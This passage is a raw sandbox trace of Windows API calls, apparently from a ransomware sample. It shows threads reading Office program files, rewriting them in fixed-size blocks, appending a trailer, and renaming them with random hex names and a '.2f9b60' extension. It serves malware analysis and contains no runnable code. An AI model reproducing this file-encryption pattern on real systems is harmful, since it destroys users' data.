returned="C:\\Program Files\\Microsoft Office\\Office14\\de5783ab39.2f9b60" [0208.860] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\de5783ab39.2f9b60", NtPathName=0x28fefa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\de5783ab39.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43183d00 Thread: id = 1798 os_tid = 0xe98 [0132.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml")) returned 0x20 [0132.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML", dwFileAttributes=0x20) returned 1 [0133.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c64 [0134.836] GetFileSizeEx (in: hFile=0x1c64, lpFileSize=0x279ff760 | out: lpFileSize=0x279ff760*=79252) returned 1 [0134.836] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0x13590, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.836] ReadFile (in: hFile=0x1c64, lpBuffer=0x279ff6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x279ff728, lpOverlapped=0x0 | out: lpBuffer=0x279ff6e0*, lpNumberOfBytesRead=0x279ff728*=0x4, lpOverlapped=0x0) returned 1 [0134.861] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0134.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a88c0 [0134.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e50 [0134.861] NtQuerySystemTime (in: CurrentTime=0x279ff620 | out: CurrentTime=0x279ff620*=132462177400954000) returned 0x0 [0134.862] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x59de7d9b [0134.862] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x715edb88 [0134.862] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x712b9524 [0134.862] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x41f4a575 [0134.862] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x27ff6da3 [0134.862] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x4ebda0b8 [0134.862] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x300a4a48 [0134.862] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x5624c328 [0134.862] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x3a4d393b [0134.862] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x4c11e99d [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x6870376 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x25dcdbbf [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0xf6e0326 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x76aab2c8 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x1351ff63 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x2093b4c0 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x70d8aa7c [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x31ba0d12 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x6691f995 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x572207c7 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x18008897 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x33deb4d0 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x11f34f33 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x788ef05b [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0xf3f8668 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x72a65ae6 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x7dc7fb9c [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x3f59344b [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x1addf177 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x10c402fc [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x6da3045 [0134.863] RtlRandomEx (in: Seed=0x279ff610 | out: Seed=0x279ff610) returned 0x1f45ac74 [0134.876] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.876] ReadFile (in: hFile=0x1c64, lpBuffer=0x2032bd40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x279ff680, lpOverlapped=0x0 | out: lpBuffer=0x2032bd40*, lpNumberOfBytesRead=0x279ff680*=0x3c00, lpOverlapped=0x0) returned 1 [0134.899] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0134.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0134.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e50 [0134.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e50) returned 1 [0134.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20337170 [0134.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e50 [0134.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9940 [0134.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9940) returned 1 [0134.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0134.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0134.900] WriteFile (hFile=0x1c64, lpBuffer=0x20337170, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x279ff680, lpOverlapped=0x0) [0179.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20337170) returned 1 [0179.903] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.903] ReadFile (in: hFile=0x1c64, lpBuffer=0x2032bd40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x279ff680, lpOverlapped=0x0 | out: lpBuffer=0x2032bd40*, lpNumberOfBytesRead=0x279ff680*=0x3c00, lpOverlapped=0x0) returned 1 [0182.007] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ed60 [0182.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ed60) returned 1 [0182.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4300e500 [0182.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ed60 [0182.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ed90 [0182.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ed90) returned 1 [0182.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.010] WriteFile (in: hFile=0x1c64, lpBuffer=0x4300e500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x279ff680, lpOverlapped=0x0 | out: lpBuffer=0x4300e500*, lpNumberOfBytesWritten=0x279ff680*=0x3c00, lpOverlapped=0x0) returned 1 [0199.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4300e500) returned 1 [0199.194] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0xf994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.194] ReadFile (in: hFile=0x1c64, lpBuffer=0x2032bd40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x279ff680, lpOverlapped=0x0 | out: lpBuffer=0x2032bd40*, lpNumberOfBytesRead=0x279ff680*=0x3c00, lpOverlapped=0x0) returned 1 [0199.195] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0xf994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d60 [0199.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d60) returned 1 [0199.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4300e500 [0199.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d60 [0199.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265df0 [0199.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265df0) returned 1 [0199.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.200] WriteFile (in: hFile=0x1c64, lpBuffer=0x4300e500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x279ff680, lpOverlapped=0x0 | out: lpBuffer=0x4300e500*, lpNumberOfBytesWritten=0x279ff680*=0x3c00, lpOverlapped=0x0) returned 1 [0214.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4300e500) returned 1 [0214.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104720 [0214.726] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.727] WriteFile (in: hFile=0x1c64, lpBuffer=0x1cebcac0*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x279ff730, lpOverlapped=0x0 | out: lpBuffer=0x1cebcac0*, lpNumberOfBytesWritten=0x279ff730*=0x148, lpOverlapped=0x0) returned 1 [0218.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0218.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ea0 [0218.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ea0) returned 1 [0218.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0218.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ea0 [0218.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0218.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0218.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0218.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ad4a0 [0218.766] sprintf (in: _Dest=0x431ad4a0, _Format="%c%c" | out: _Dest="bd") returned 2 [0218.766] sprintf (in: _Dest=0x431ad4a2, _Format="%c%c" | out: _Dest="23") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4a4, _Format="%c%c" | out: _Dest="6b") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4a6, _Format="%c%c" | out: _Dest="7f") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4a8, _Format="%c%c" | out: _Dest="d2") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4aa, _Format="%c%c" | out: _Dest="d3") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4ac, _Format="%c%c" | out: _Dest="91") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4ae, _Format="%c%c" | out: _Dest="ae") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4b0, _Format="%c%c" | out: _Dest="1f") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4b2, _Format="%c%c" | out: _Dest="2d") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4b4, _Format="%c%c" | out: _Dest="07") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4b6, _Format="%c%c" | out: _Dest="6d") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4b8, _Format="%c%c" | out: _Dest="81") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4ba, _Format="%c%c" | out: _Dest="b7") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4bc, _Format="%c%c" | out: _Dest="a5") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4be, _Format="%c%c" | out: _Dest="31") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4c0, _Format="%c%c" | out: _Dest="0d") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4c2, _Format="%c%c" | out: _Dest="60") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4c4, _Format="%c%c" | out: _Dest="8c") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4c6, _Format="%c%c" | out: _Dest="5c") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4c8, _Format="%c%c" | out: _Dest="ad") returned 2 [0218.767] sprintf (in: _Dest=0x431ad4ca, _Format="%c%c" | out: _Dest="f2") returned 2 [0218.767] RtlInitAnsiString (in: DestinationString=0x279ff7a8, SourceString="bd236b7fd2d391ae1f2d076d81b7a5310d608c5cadf2" | out: DestinationString="bd236b7fd2d391ae1f2d076d81b7a5310d608c5cadf2") [0218.767] RtlAnsiStringToUnicodeString (in: DestinationString=0x279ff778, SourceString="bd236b7fd2d391ae1f2d076d81b7a5310d608c5cadf2", AllocateDestinationString=1 | out: DestinationString="bd236b7fd2d391ae1f2d076d81b7a5310d608c5cadf2") returned 0x0 [0218.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319f360 [0218.768] wcscat (in: _Dest=0x431a24f0, _Source="bd236b7fd2d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bd236b7fd2d") returned="C:\\Program Files\\Microsoft Office\\Office14\\bd236b7fd2d" [0218.768] wcscat (in: _Dest=0x431a24f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bd236b7fd2d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\bd236b7fd2d.2f9b60" [0218.768] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\bd236b7fd2d.2f9b60", NtPathName=0x279ff750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\bd236b7fd2d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43109e80 Thread: id = 1799 os_tid = 0xe9c [0132.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\omml2mml.xsl")) returned 0x20 [0132.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL", dwFileAttributes=0x20) returned 1 [0133.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\omml2mml.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c40 [0134.659] GetFileSizeEx (in: hFile=0x1c40, lpFileSize=0x2940fb00 | out: lpFileSize=0x2940fb00*=94908) returned 1 [0134.659] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x172b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.659] ReadFile (in: hFile=0x1c40, lpBuffer=0x2940fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2940fac8, lpOverlapped=0x0 | out: lpBuffer=0x2940fa80*, lpNumberOfBytesRead=0x2940fac8*=0x4, lpOverlapped=0x0) returned 1 [0134.707] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d40 [0134.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267dd0 [0134.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e00 [0134.707] NtQuerySystemTime (in: CurrentTime=0x2940f9c0 | out: CurrentTime=0x2940f9c0*=132462177399550000) returned 0x0 [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x2e7510fe [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x3d224dd0 [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x7ffe536e [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x320160d5 [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x1ba01ba9 [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x49be920e [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x1d40cc1e [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x7e398c85 [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x1c263592 [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x7ac62f58 [0134.707] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x14283b23 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x374b5c62 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x2fc450e6 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x3bc4cde1 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x25149557 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x779d536d [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x1ff41e58 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x6d0f4db0 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x3f9d839 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x4a7daca [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x5775e80d [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x75b3d7f2 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x14fe76e3 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x1278b5d4 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x52c5154f [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x61b23683 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x717856ee [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x10f4b403 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x7869810a [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x52b33294 [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x33a7b21f [0134.708] RtlRandomEx (in: Seed=0x2940f9b0 | out: Seed=0x2940f9b0) returned 0x5790e95e [0134.720] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.720] ReadFile (in: hFile=0x1c40, lpBuffer=0x41cf9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2940fa20, lpOverlapped=0x0 | out: lpBuffer=0x41cf9560*, lpNumberOfBytesRead=0x2940fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0134.745] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0134.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0134.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e90 [0134.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267e90) returned 1 [0134.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d085a0 [0134.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e90 [0134.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267ef0 [0134.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267ef0) returned 1 [0134.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0134.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0134.747] WriteFile (hFile=0x1c40, lpBuffer=0x41d085a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2940fa20, lpOverlapped=0x0) [0170.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d085a0) returned 1 [0170.872] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.872] ReadFile (in: hFile=0x1c40, lpBuffer=0x41cf9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2940fa20, lpOverlapped=0x0 | out: lpBuffer=0x41cf9560*, lpNumberOfBytesRead=0x2940fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0170.938] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0170.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a70) returned 1 [0170.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4212c5b0 [0170.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0170.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261460 [0170.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261460) returned 1 [0170.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.941] WriteFile (in: hFile=0x1c40, lpBuffer=0x4212c5b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2940fa20, lpOverlapped=0x0 | out: lpBuffer=0x4212c5b0*, lpNumberOfBytesWritten=0x2940fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0187.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4212c5b0) returned 1 [0187.052] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x136bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.052] ReadFile (in: hFile=0x1c40, lpBuffer=0x41cf9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2940fa20, lpOverlapped=0x0 | out: lpBuffer=0x41cf9560*, lpNumberOfBytesRead=0x2940fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0187.929] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x136bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0187.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0187.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134780 [0187.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134780) returned 1 [0187.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4224f200 [0187.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134780 [0187.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134750 [0187.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134750) returned 1 [0187.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0187.933] RtlFreeHeap 